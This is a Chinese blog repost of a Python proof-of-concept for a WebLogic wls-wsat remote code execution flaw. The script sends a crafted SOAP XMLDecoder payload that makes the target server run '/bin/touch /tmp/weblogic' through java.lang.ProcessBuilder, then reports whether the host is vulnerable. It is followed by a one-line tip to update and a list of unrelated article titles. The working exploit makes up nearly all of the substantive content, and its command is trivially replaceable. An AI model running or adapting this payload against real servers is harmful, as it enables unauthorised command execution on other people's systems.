Weblogic wls RCE 漏洞验证POC
2024-08-23 20:00:11
#!/usr/bin/env python
# coding:utf-8
# @Date : 2017/12/22 17:11
# @File : weblogic_poc.py
# @Author : sevck
# @Link : http://www.qingteng.cn
#-------------------------------------------------------------------------
import requests
import re
from sys import argv heads = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'text/xml;charset=UTF-8'
} def poc(url):
if not url.startswith("http"):
url = "http://" + url
if "/" in url:
url += '/wls-wsat/CoordinatorPortType'
post_str = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>/bin/touch</string>
</void>
<void index="1">
<string>/tmp/weblogic</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
''' try:
response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
response = response.text
response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
except Exception, e:
response = "" if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
result = "Vulnerability"
return result
else:
result = "No Vulnerability"
return result if __name__ == '__main__':
if len(argv) == 1:
print "python weblogic_poc.py url:port"
exit(0)
else:
url = argv[1]
result = poc(url=url)
print result
说点修复建议:
个人建议直接更新最新版吧,老版本还是问题太多。昨晚和廖师父聊天中告知又提交了一个weblogic的RCE,已经拿到CVE就在等待发布了
最新文章
- maven archetype二三事
- 基于webdriver的jmeter性能测试-通过jmeter实现jar录制脚本的性能测试
- Redis在Linux下的安装和启动和配置
- memcached命令行操作详解,命令选项的详细解释
- vue 基础-->;进阶 教程(3):组件嵌套、组件之间的通信、路由机制
- OutOfMemoryError/OOM/内存溢出异常实例分析--堆内存溢出
- Codeforces Round #244 (Div. 2) C. Checkposts (tarjan 强连通分量)
- nginx 安装问题
- 洛谷.4114.Qtree1(树链剖分)
- 7、nginx的upstream及fastcgi模块应用
- Git、GitHub、GitLab三者之间的联系以及区别
- Spring注解之@Import
- ubuntu 手动修改分辨率为1920 X 1080 的两种方式
- cakephp怎么默认显示index/index文件
- Python利用jieba获取中文词汇等
- TextBox(只允许输入字母或者数字)——重写控件
- EXCEL 列与列怎么交换?
- 中南月赛F ZZY and his little friends
- VLFeat在matlab和vs中安装
- requireJs官方使用教程(转)